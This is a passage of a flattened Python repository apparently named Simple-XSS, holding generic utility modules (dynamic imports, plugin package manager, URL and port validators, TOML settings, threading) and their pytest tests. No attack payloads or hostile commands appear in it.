import_module 4 | from .logging import logger 5 | 6 | 7 | def import_class(path: str, class_name: str, base: type = object): 8 | module = import_module(path) 9 | imported_class = getattr(module, class_name, None) 10 | if not imported_class: 11 | logger.error(f'Class {class_name} not found at {path}') 12 | raise ImportError(f'Class {class_name} not found at {path}') 13 | if not inspect.isclass(imported_class): 14 | logger.error(f'Not a class {imported_class}') 15 | raise TypeError(f'Not a class {imported_class}') 16 | 17 | if not issubclass(imported_class, base): 18 | logger.error(f'Class must be a subclass of {base}') 19 | raise TypeError(f'Class must be a subclass of {base}') 20 | 21 | logger.debug(f'Class imported: {imported_class}') 22 | return imported_class 23 | -------------------------------------------------------------------------------- /simplexss/utils/imputils/logging.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | logger = logging.getLogger('utils.imputils') 4 | -------------------------------------------------------------------------------- /simplexss/utils/imputils/module.py: -------------------------------------------------------------------------------- 1 | import importlib.util 2 | import os 3 | import sys 4 | from functools import cache 5 | from types import ModuleType 6 | 7 | from .logging import logger 8 | 9 | 10 | @cache 11 | def import_module(path: str) -> ModuleType: 12 | directory = os.path.dirname(path) 13 | sys.path.append(directory) 14 | try: 15 | if not os.path.exists(path): 16 | logger.error(f'File not found: {path}') 17 | raise FileNotFoundError(f"Module file not found: {path}") 18 | *_, filename = os.path.split(path) 19 | spec = importlib.util.spec_from_file_location(filename.replace('.py', ''), path) 20 | imported_module = importlib.util.module_from_spec(spec) 21 | spec.loader.exec_module(imported_module) 22 | 23 | logger.debug(f'Module imported: {imported_module}') 24 | return imported_module 25 | except Exception as e: 26 | logger.error(e) 27 | raise ImportError(f'Failed to import module: {path}') 28 | finally: 29 | sys.path.remove(directory) 30 | -------------------------------------------------------------------------------- /simplexss/utils/jinja/__init__.py: -------------------------------------------------------------------------------- 1 | from .utils import render 2 | 3 | __all__ = [ 4 | 'render', 5 | ] 6 | -------------------------------------------------------------------------------- /simplexss/utils/jinja/utils.py: -------------------------------------------------------------------------------- 1 | from jinja2 import ( 2 | FileSystemLoader, 3 | Environment 4 | ) 5 | 6 | 7 | def render(directory: str, file: str, **context): 8 | env = Environment(loader=FileSystemLoader(directory)) 9 | template = env.get_template(file) 10 | return template.render(**context) 11 | -------------------------------------------------------------------------------- /simplexss/utils/network/__init__.py: -------------------------------------------------------------------------------- 1 | from .url import change_protocol 2 | from .validators import ( 3 | validate_url, 4 | validate_host, 5 | validate_port, 6 | validate_domain 7 | ) 8 | 9 | __all__ = [ 10 | 'change_protocol', 11 | 'validate_domain', 12 | 'validate_port', 13 | 'validate_host', 14 | 'validate_url', 15 | ] 16 | -------------------------------------------------------------------------------- /simplexss/utils/network/contants.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | HOSTNAME_REGEX = re.compile(r"^(?!-)[A-Za-z0-9-.]{1,63}(? str: 5 | urlinfo = urlparse(url) 6 | return url.replace(urlinfo.scheme, protocol) 7 | -------------------------------------------------------------------------------- /simplexss/utils/network/validators.py: -------------------------------------------------------------------------------- 1 | from urllib.parse import urlparse 2 | 3 | from .contants import ( 4 | HOSTNAME_REGEX, 5 | DOMAIN_REGEX, 6 | URL_REGEX 7 | ) 8 | 9 | 10 | def validate_port(port: int, raise_exceptions: bool = False) -> bool: 11 | valid = (0 <= port <= 65535) 12 | 13 | if not valid and raise_exceptions: 14 | raise ValueError(f'Port {port} is invalid') 15 | 16 | return valid 17 | 18 | 19 | def validate_host(host: str, raise_exceptions: bool = False) -> bool: 20 | if HOSTNAME_REGEX.match(host): 21 | return True 22 | elif raise_exceptions: 23 | raise ValueError(f'Hostname {host} is invalid') 24 | return False 25 | 26 | 27 | def validate_domain(domain: str, raise_exceptions: bool = False) -> bool: 28 | if DOMAIN_REGEX.match(domain): 29 | return True 30 | elif raise_exceptions: 31 | raise ValueError(f'Domain {domain} is invalid') 32 | return False 33 | 34 | 35 | def validate_url(url: str, raise_exceptions: bool = False) -> bool: 36 | try: 37 | result = urlparse(url) 38 | scheme = result.scheme 39 | netloc = url.removeprefix(scheme + '://') 40 | 41 | if not all([scheme, netloc]): 42 | raise ValueError 43 | 44 | if ':/' in netloc: 45 | raise ValueError 46 | 47 | if ':' in netloc: 48 | netloc = netloc.split(':', 1)[0] 49 | 50 | if not validate_host(netloc): 51 | raise ValueError 52 | 53 | except ValueError: 54 | if raise_exceptions: 55 | raise ValueError(f'URL {url} is invalid') 56 | return False 57 | return True 58 | -------------------------------------------------------------------------------- /simplexss/utils/packages/__init__.py: -------------------------------------------------------------------------------- 1 | from .packages import Package 2 | from .managers import PackageManager 3 | from .types import ( 4 | BasePackage, 5 | BasePackageManager 6 | ) 7 | 8 | __all__ = ( 9 | 'Package', 10 | 'PackageManager', 11 | 'BasePackage', 12 | 'BasePackageManager', 13 | ) 14 | -------------------------------------------------------------------------------- /simplexss/utils/packages/constants.py: -------------------------------------------------------------------------------- 1 | DEFAULT_PACKAGE_FILE = 'plugin.py' 2 | DEFAULT_PACKAGE_CLASS = 'Package' 3 | DEFAULT_PACKAGES_DIR = 'packages' 4 | -------------------------------------------------------------------------------- /simplexss/utils/packages/exceptions.py: -------------------------------------------------------------------------------- 1 | class PackageError(Exception): 2 | msg = 'Package error: {package}' 3 | 4 | def __init__(self, package: str, msg: str = None): 5 | self.package = package 6 | self.msg = msg or self.msg 7 | super().__init__(self.msg.format(package=package)) 8 | 9 | 10 | class PackageNotFoundError(PackageError): 11 | msg = 'Package not found: {package}' 12 | 13 | 14 | class PackageFormatError(PackageError): 15 | msg = "Package {package} has wrong format, so it can't be loaded" 16 | 17 | 18 | class PackageDisabledError(PackageError): 19 | msg = 'Package is disabled: {package}' 20 | 21 | 22 | class PackageNotLoadedError(PackageError): 23 | msg = 'Package is not loaded: {package}' 24 | -------------------------------------------------------------------------------- /simplexss/utils/packages/logging.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | logger = logging.getLogger('utils.packages') -------------------------------------------------------------------------------- /simplexss/utils/packages/managers.py: -------------------------------------------------------------------------------- 1 | import os 2 | from typing import Iterable, Container 3 | 4 | from .constants import ( 5 | DEFAULT_PACKAGE_FILE, 6 | DEFAULT_PACKAGE_CLASS, 7 | DEFAULT_PACKAGES_DIR 8 | ) 9 | from .types import ( 10 | BasePackageManager, 11 | BasePackage 12 | ) 13 | from .exceptions import ( 14 | PackageNotLoadedError, 15 | PackageNotFoundError, 16 | PackageError, 17 | PackageDisabledError, 18 | PackageFormatError 19 | ) 20 | from .logging import logger 21 | from ..imputils import import_class 22 | 23 | 24 | class PackageManager(BasePackageManager): 25 | def __init__(self, disabled: Container[str] = ()): 26 | self._packages = {} 27 | self._disabled = disabled 28 | 29 | def load_package(self, path: str, **kwargs) -> BasePackage: 30 | filename = kwargs.get('file', kwargs.get('filename', DEFAULT_PACKAGE_FILE)) 31 | class_name = kwargs.get('class_name', DEFAULT_PACKAGE_CLASS) 32 | base_class = kwargs.get('base_class', BasePackage) 33 | 34 | if os.path.isdir(path): 35 | main_file = os.path.join(path, filename) 36 | else: 37 | main_file = path 38 | 39 | if not os.path.isfile(main_file): 40 | raise PackageNotFoundError(main_file) 41 | 42 | try: 43 | package_class = import_class( 44 | path=main_file, 45 | class_name=class_name, 46 | base=base_class 47 | ) 48 | except (ImportError, TypeError) as e: 49 | logger.error(e) 50 | raise PackageFormatError(main_file) 51 | 52 | try: 53 | if package_class.NAME in self._disabled: 54 | raise PackageDisabledError(package_class.NAME) 55 | except AttributeError as e: 56 | logger.error(e) 57 | raise PackageFormatError(main_file, 'Package {package} name not set') 58 | 59 | try: 60 | package = package_class() 61 | except TypeError as e: 62 | logger.error(e) 63 | raise PackageFormatError(main_file, f'Package should implement all abstract methods') 64 | 65 | package.on_loaded(main_file) 66 | self._packages[package.NAME] = package 67 | 68 | logger.debug(f'Package loaded: {package.NAME}') 69 | 70 | return package 71 | 72 | def load_packages(self, directory: str = DEFAULT_PACKAGES_DIR, **kwargs) -> Iterable[BasePackage]: 73 | for package in os.listdir(directory): 74 | package = os.path.join(directory, package) 75 | try: 76 | if os.path.isdir(package): 77 | self.load_package(package, **kwargs) 78 | except PackageError as e: 79 | logger.error(e) 80 | return self.packages 81 | 82 | def unload_package(self, name: str): 83 | package = self.get_package(name) 84 | 85 | if package is None: 86 | raise PackageNotLoadedError(name) 87 | 88 | logger.debug(f'Package unloaded: {name}') 89 | self._packages.pop(name) 90 | 91 | def unload_packages(self): 92 | for name in self._packages.keys(): 93 | self.unload_package(name) 94 | 95 | def get_package(self, name: str) -> BasePackage | None: 96 | return self._packages.get(name) 97 | 98 | @property 99 | def packages(self) -> Iterable[BasePackage]: 100 | return self._packages.values() 101 | -------------------------------------------------------------------------------- /simplexss/utils/packages/packages.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from .types import BasePackage 4 | 5 | 6 | class Package(BasePackage): 7 | file: str = None 8 | directory: str = None 9 | 10 | def on_loaded(self, file: str): 11 | self.file = file 12 | self.directory = os.path.dirname(file) 13 | 14 | def on_unloaded(self): 15 | pass 16 | -------------------------------------------------------------------------------- /simplexss/utils/packages/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | 6 | from typing import ( 7 | Iterable, 8 | ) 9 | 10 | from .constants import ( 11 | DEFAULT_PACKAGE_FILE, 12 | DEFAULT_PACKAGES_DIR 13 | ) 14 | 15 | 16 | class BasePackage(ABC): 17 | NAME: str 18 | DESCRIPTION: str = None 19 | VERSION: str = '0.0.0' 20 | AUTHOR: str = None 21 | 22 | @abstractmethod 23 | def on_loaded(self, file: str): ... 24 | 25 | @abstractmethod 26 | def on_unloaded(self): ... 27 | 28 | 29 | class BasePackageManager(ABC): 30 | @abstractmethod 31 | def load_package(self, path: str, **kwargs) -> BasePackage: ... 32 | 33 | @abstractmethod 34 | def load_packages(self, directory: str = DEFAULT_PACKAGES_DIR, **kwargs) -> Iterable[BasePackage]: ... 35 | 36 | @abstractmethod 37 | def unload_package(self, name: str): ... 38 | 39 | @abstractmethod 40 | def unload_packages(self): ... 41 | 42 | @abstractmethod 43 | def get_package(self, name: str) -> BasePackage | None: ... 44 | 45 | @property 46 | @abstractmethod 47 | def packages(self) -> Iterable[BasePackage]: ... 48 | -------------------------------------------------------------------------------- /simplexss/utils/settings/__init__.py: -------------------------------------------------------------------------------- 1 | from .types import BaseLoader 2 | 3 | __all__ = [ 4 | 'BaseLoader' 5 | ] 6 | -------------------------------------------------------------------------------- /simplexss/utils/settings/exceptions.py: -------------------------------------------------------------------------------- 1 | class SettingsError(Exception): 2 | pass 3 | 4 | 5 | class FileFormatError(SettingsError): 6 | def __init__(self, file: str, msg: str): 7 | self.file = file 8 | super().__init__(msg) 9 | -------------------------------------------------------------------------------- /simplexss/utils/settings/logging.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | logger = logging.getLogger('utils.settings') 4 | -------------------------------------------------------------------------------- /simplexss/utils/settings/toml/__init__.py: -------------------------------------------------------------------------------- 1 | from .loaders import TOMLLoader 2 | 3 | __all__ = [ 4 | 'TOMLLoader', 5 | ] 6 | -------------------------------------------------------------------------------- /simplexss/utils/settings/toml/loaders.py: -------------------------------------------------------------------------------- 1 | import toml 2 | from pydantic import BaseModel 3 | 4 | from ..logging import logger 5 | from ..types import ( 6 | BaseLoader 7 | ) 8 | from ..exceptions import FileFormatError 9 | 10 | 11 | class TOMLLoader(BaseLoader): 12 | def load(self, file: str, schema: type[BaseModel], **kwargs) -> BaseModel: 13 | try: 14 | data: dict = toml.load(file) 15 | settings = schema.model_validate(data, **kwargs) 16 | logger.info(f'Settings loaded: {settings}') 17 | return settings 18 | except toml.TomlDecodeError as e: 19 | raise FileFormatError(file=file, msg=str(e)) 20 | 21 | def save(self, file: str, data: BaseModel, **kwargs): 22 | with open(file, 'w', encoding='utf-8') as f: 23 | data: dict = data.model_dump(**kwargs) 24 | toml.dump(data, f) 25 | logger.info(f'Settings saved: {data}') -------------------------------------------------------------------------------- /simplexss/utils/settings/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | 6 | from pydantic import BaseModel 7 | 8 | 9 | class BaseLoader(ABC): 10 | @abstractmethod 11 | def load(self, file: str, schema: type[BaseModel], **kwargs) -> BaseModel: ... 12 | 13 | @abstractmethod 14 | def save(self, file: str, data: BaseModel, **kwargs): ... 15 | -------------------------------------------------------------------------------- /simplexss/utils/theads/__init__.py: -------------------------------------------------------------------------------- 1 | from .utils import thread 2 | 3 | __all__ = [ 4 | 'thread', 5 | ] 6 | -------------------------------------------------------------------------------- /simplexss/utils/theads/utils.py: -------------------------------------------------------------------------------- 1 | import threading 2 | from functools import wraps 3 | from typing import Callable 4 | 5 | 6 | def thread(target: Callable = None, /, *, daemon: bool = False): 7 | def wrapper(*args, **kwargs) -> threading.Thread: 8 | thr = threading.Thread( 9 | target=target, 10 | args=args, 11 | kwargs=kwargs, 12 | daemon=daemon 13 | ) 14 | thr.start() 15 | return thr 16 | 17 | def decorator(func: Callable): 18 | nonlocal target 19 | 20 | target = func 21 | return wraps(target)(wrapper) 22 | 23 | if callable(target): 24 | return wraps(target)(wrapper) 25 | return decorator 26 | -------------------------------------------------------------------------------- /tests/transports/http/test_fast_api_server.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/tests/transports/http/test_fast_api_server.py -------------------------------------------------------------------------------- /tests/transports/http/test_http_service.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from simplexss.core.transports import BaseSession 4 | from simplexss.core.transports.http import ( 5 | HTTPSession, 6 | HTTPService 7 | ) 8 | 9 | 10 | @pytest.mark.asyncio 11 | async def test_http_service_run(): 12 | service = HTTPService() 13 | session = await service.run( 14 | 'localhost', 15 | 4444 16 | ) 17 | 18 | assert isinstance(session, BaseSession) 19 | -------------------------------------------------------------------------------- /tests/tunneling/test_factory.py: -------------------------------------------------------------------------------- 1 | from abc import ABC 2 | 3 | from simplexss.core.tunneling import ( 4 | TunnelingServiceFactory, 5 | BaseTunnelingService 6 | ) 7 | 8 | 9 | class Service(BaseTunnelingService, ABC): 10 | NAME = 'http' 11 | PROTOCOLS = ( 12 | 'test_proto_1', 13 | ) 14 | 15 | 16 | class Service2(BaseTunnelingService): 17 | NAME = 'test2' 18 | PROTOCOLS = ( 19 | 'test_proto_2', 20 | ) 21 | 22 | async def run(self, protocol: str, port: int): 23 | pass 24 | 25 | async def stop(self, session): 26 | pass 27 | 28 | 29 | def test_get_names(): 30 | factory = TunnelingServiceFactory() 31 | names = tuple(factory.get_names('test_proto_1')) 32 | 33 | assert len(names) == 1 34 | assert 'http' in names 35 | 36 | 37 | def test_get_service(): 38 | factory = TunnelingServiceFactory() 39 | 40 | assert factory.get_service('test2') is Service2 41 | 42 | 43 | def test_create_instance(): 44 | factory = TunnelingServiceFactory() 45 | 46 | assert isinstance(factory.create('test2'), Service2) 47 | -------------------------------------------------------------------------------- /tests/tunneling/test_ngrok.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.tunneling.ngrok import NgrokService 2 | -------------------------------------------------------------------------------- /tests/utils/args/test_parser.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | 3 | from pydantic import ( 4 | BaseModel, 5 | Field 6 | ) 7 | 8 | from simplexss.utils.arguments import SchemedArgumentParser 9 | 10 | 11 | def test_parse_str_args(): 12 | class Schema1(BaseModel): 13 | test: str = Field(description='Hello, World!') 14 | 15 | parser = SchemedArgumentParser( 16 | schema=Schema1 17 | ) 18 | args = parser.parse_schemed_args(['--settings', '123']) 19 | 20 | assert args.test == '123' 21 | 22 | 23 | def test_parse_int_args(): 24 | class Schema2(BaseModel): 25 | test: int = Field(description='Hello, World!') 26 | 27 | parser = SchemedArgumentParser( 28 | schema=Schema2 29 | ) 30 | args = parser.parse_schemed_args(['--settings', '123']) 31 | 32 | assert args.test == 123 33 | 34 | 35 | def test_parse_str_enum_args(): 36 | class StrEnum(str, Enum): 37 | A = 'a' 38 | B = 'b' 39 | C = 'c' 40 | 41 | class Schema3(BaseModel): 42 | test: StrEnum 43 | 44 | parser = SchemedArgumentParser( 45 | schema=Schema3 46 | ) 47 | args = parser.parse_schemed_args(['--settings', 'c']) 48 | 49 | assert args.test == StrEnum.C 50 | 51 | 52 | def test_parse_int_enum_args(): 53 | class IntEnum1(int, Enum): 54 | ONE = 1 55 | TWO = 2 56 | THREE = 3 57 | 58 | class Schema4(BaseModel): 59 | test: IntEnum1 60 | 61 | parser = SchemedArgumentParser( 62 | schema=Schema4 63 | ) 64 | args = parser.parse_schemed_args(['--settings', '2']) 65 | 66 | assert args.test == IntEnum1.TWO 67 | 68 | 69 | def test_parse_positional_args(): 70 | class Schema5(BaseModel): 71 | abc: str 72 | 73 | parser = SchemedArgumentParser( 74 | schema=Schema5, 75 | positional_arguments=('abc',) 76 | ) 77 | 78 | args = parser.parse_schemed_args(['321']) 79 | 80 | assert args.abc == '321' 81 | 82 | 83 | def test_parse_short_aliases(): 84 | class Schema6(BaseModel): 85 | test: str 86 | 87 | parser = SchemedArgumentParser( 88 | schema=Schema6, 89 | short_aliases={ 90 | 'settings': 'b' 91 | } 92 | ) 93 | 94 | args = parser.parse_schemed_args(['-b', '4444']) 95 | assert args.test == '4444' 96 | 97 | 98 | def test_parse_field_aliases(): 99 | class Schema7(BaseModel): 100 | test: str = Field(alias='ttt') 101 | 102 | parser = SchemedArgumentParser( 103 | schema=Schema7 104 | ) 105 | 106 | args = parser.parse_schemed_args(['--ttt', '4444']) 107 | assert args.test == '4444' 108 | -------------------------------------------------------------------------------- /tests/utils/clsutils/test_generators.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from simplexss.utils.clsutils import ( 4 | iter_instances, 5 | iter_subclasses 6 | ) 7 | 8 | 9 | class FirstClass: 10 | pass 11 | 12 | 13 | class FirstSubclass(FirstClass): 14 | pass 15 | 16 | 17 | class FirstSubSubClass(FirstSubclass): 18 | pass 19 | 20 | 21 | @pytest.fixture 22 | def create_instances(): 23 | return [ 24 | FirstClass(), 25 | FirstClass(), 26 | FirstClass(), 27 | FirstSubclass(), 28 | FirstSubSubClass() 29 | ] 30 | 31 | 32 | def test_iter_instances_precise(create_instances): 33 | instances = tuple(iter_instances(FirstClass, precise=True)) 34 | 35 | assert len(instances) == 3 36 | 37 | 38 | def test_iter_instances_not_precise(create_instances): 39 | instances = tuple(iter_instances(FirstClass, precise=False)) 40 | 41 | assert len(instances) == 5 42 | 43 | 44 | def test_iter_subclasses_max_level_1(): 45 | subclasses = tuple(iter_subclasses(FirstClass, max_level=1)) 46 | 47 | assert len(subclasses) == 1 48 | assert subclasses[0] == FirstSubclass 49 | 50 | 51 | def test_iter_subclasses_max_level_neg_1(): 52 | subclasses = tuple(iter_subclasses(FirstClass, max_level=-1)) 53 | 54 | assert len(subclasses) == 2 55 | 56 | 57 | def test_iter_subclasses_max_level_0(): 58 | subclasses = tuple(iter_subclasses(FirstClass, max_level=0)) 59 | 60 | assert len(subclasses) == 0 -------------------------------------------------------------------------------- /tests/utils/di/test_container.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/tests/utils/di/test_container.py -------------------------------------------------------------------------------- /tests/utils/di/test_factory_dependency.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from simplexss.utils.di import ( 4 | containers, 5 | dependencies 6 | ) 7 | 8 | 9 | class Service: 10 | pass 11 | 12 | 13 | class Service2: 14 | pass 15 | 16 | 17 | def functional_factory(): 18 | return Service2() 19 | 20 | 21 | @pytest.mark.parametrize('factory, base', [ 22 | (Service, Service), 23 | (Service2, Service2), 24 | (functional_factory, Service2) 25 | ]) 26 | def test_factory(factory, base): 27 | class Container(containers.Container): 28 | my_factory = dependencies.Factory(factory) 29 | 30 | assert isinstance(Container.my_factory.value, base) 31 | 32 | 33 | def test_factory_bind(): 34 | class Container(containers.Container): 35 | factory = dependencies.Factory(Service) 36 | 37 | assert isinstance(Container.factory.value, Service) 38 | 39 | Container.factory.bind_factory(Service2) 40 | 41 | assert isinstance(Container.factory.value, Service2) 42 | -------------------------------------------------------------------------------- /tests/utils/di/test_inject.py: -------------------------------------------------------------------------------- 1 | from simplexss.utils.di import ( 2 | inject, 3 | containers, 4 | dependencies 5 | ) 6 | 7 | 8 | def test_inject(): 9 | value = 'hello, world!' 10 | 11 | class Container(containers.Container): 12 | dep = dependencies.Dependency(value) 13 | 14 | @inject 15 | def clb(dep=Container.dep): 16 | assert dep == value 17 | 18 | clb() 19 | -------------------------------------------------------------------------------- /tests/utils/di/test_singleton_dependnecy.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from simplexss.utils.di import ( 4 | containers, 5 | dependencies 6 | ) 7 | 8 | 9 | def test_singleton(): 10 | class Service: 11 | pass 12 | 13 | class Container(containers.Container): 14 | singleton = dependencies.Singleton(Service) 15 | 16 | assert Container.singleton.value is Container.singleton.value 17 | -------------------------------------------------------------------------------- /tests/utils/events/test_async_event.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/tests/utils/events/test_async_event.py -------------------------------------------------------------------------------- /tests/utils/events/test_event_channel.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from simplexss.utils.events import ( 4 | EventChannel, 5 | Event, 6 | AsyncEvent 7 | ) 8 | 9 | 10 | def test_event_channel_events_property(): 11 | class Channel(EventChannel): 12 | event = Event() 13 | async_event = AsyncEvent() 14 | event_2 = Event() 15 | 16 | assert len(Channel.events) == 3 17 | assert Channel.event_2 in Channel.events 18 | assert Channel.async_event in Channel.events 19 | assert Channel.event in Channel.events 20 | -------------------------------------------------------------------------------- /tests/utils/events/test_sync_event.py: -------------------------------------------------------------------------------- 1 | from simplexss.utils.events import ( 2 | EventChannel, 3 | Event 4 | ) 5 | 6 | 7 | def test_event_subscribe_publish(): 8 | class Channel(EventChannel): 9 | event = Event() 10 | 11 | called = False 12 | 13 | def callback(event): 14 | nonlocal called 15 | 16 | assert event is Channel.event 17 | 18 | called = True 19 | 20 | Channel.event.subscribe(callback) 21 | Channel.event.publish() 22 | 23 | assert called 24 | -------------------------------------------------------------------------------- /tests/utils/network/test_url.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from simplexss.utils.network import ( 4 | change_protocol, 5 | ) 6 | 7 | 8 | @pytest.mark.parametrize( 9 | 'url, protocol, expected', 10 | [ 11 | ('http://abc.com', 'https', 'https://abc.com'), 12 | ('http://abc.com', 'wss', 'wss://abc.com'), 13 | ('ws://abc.com', 'wss', 'wss://abc.com'), 14 | ] 15 | 16 | ) 17 | def test_change_protocol(url, protocol, expected): 18 | assert change_protocol(url, protocol) == expected 19 | -------------------------------------------------------------------------------- /tests/utils/network/test_validators.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from simplexss.utils.network import ( 4 | validate_url, 5 | validate_domain, 6 | validate_port, 7 | validate_host 8 | ) 9 | 10 | 11 | @pytest.mark.parametrize( 12 | 'url', 13 | [ 14 | 'https://google.com', 15 | 'http://example.com', 16 | 'wss://example.com', 17 | 'ws://127.0.0.1:1234', 18 | ] 19 | ) 20 | def test_validate_url(url): 21 | print(url) 22 | assert validate_url(url) 23 | 24 | 25 | @pytest.mark.parametrize( 26 | 'url', 27 | [ 28 | 'https:/google.com', 29 | 'google.com', 30 | ] 31 | ) 32 | def test_validate_invalid_url(url): 33 | assert not validate_url(url) 34 | 35 | 36 | @pytest.mark.parametrize( 37 | 'port', 38 | [ 39 | 0, 40 | 65535, 41 | ] 42 | ) 43 | def test_validate_port(port): 44 | assert validate_port(port) 45 | 46 | 47 | @pytest.mark.parametrize( 48 | 'port', 49 | [ 50 | -1, 51 | 65536, 52 | ] 53 | ) 54 | def test_validate_invalid_port(port): 55 | assert not validate_port(port) 56 | -------------------------------------------------------------------------------- /tests/utils/packages/packages/package.py: -------------------------------------------------------------------------------- 1 | from simplexss.utils import packages 2 | 3 | 4 | class Package(packages.Package): 5 | NAME = 'hello-package' 6 | -------------------------------------------------------------------------------- /tests/utils/packages/packages/package_2.py: -------------------------------------------------------------------------------- 1 | from simplexss.utils import packages 2 | 3 | 4 | class PackageCls(packages.Package): 5 | NAME = 'hello-package-2' 6 | -------------------------------------------------------------------------------- /tests/utils/packages/test_manager.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from simplexss.utils.packages import ( 4 | PackageManager, 5 | ) 6 | 7 | 8 | @pytest.mark.parametrize( 9 | 'path, name, class_name', 10 | [ 11 | ('tests/utils/packages/packages/package.py', 'hello-package', 'Package'), 12 | ('tests/utils/packages/packages/package_2.py', 'hello-package-2', 'PackageCls'), 13 | ] 14 | ) 15 | def test_package_loading(path, name, class_name): 16 | manager = PackageManager() 17 | package = manager.load_package( 18 | path, 19 | class_name=class_name 20 | ) 21 | 22 | assert package.NAME == name 23 | 24 | 25 | def test_package_unloading(): 26 | manager = PackageManager() 27 | package = manager.load_package('tests/utils/packages/packages/package.py') 28 | 29 | manager.unload_package(package.NAME) 30 | 31 | assert manager.get_package(package.NAME) is None 32 | assert len(list(manager.packages)) == 0 33 | -------------------------------------------------------------------------------- /tests/utils/settings/test_toml.py: -------------------------------------------------------------------------------- 1 | import toml 2 | 3 | from simplexss.utils.settings.toml import TOMLLoader 4 | 5 | 6 | def test_load(): 7 | pass 8 | --------------------------------------------------------------------------------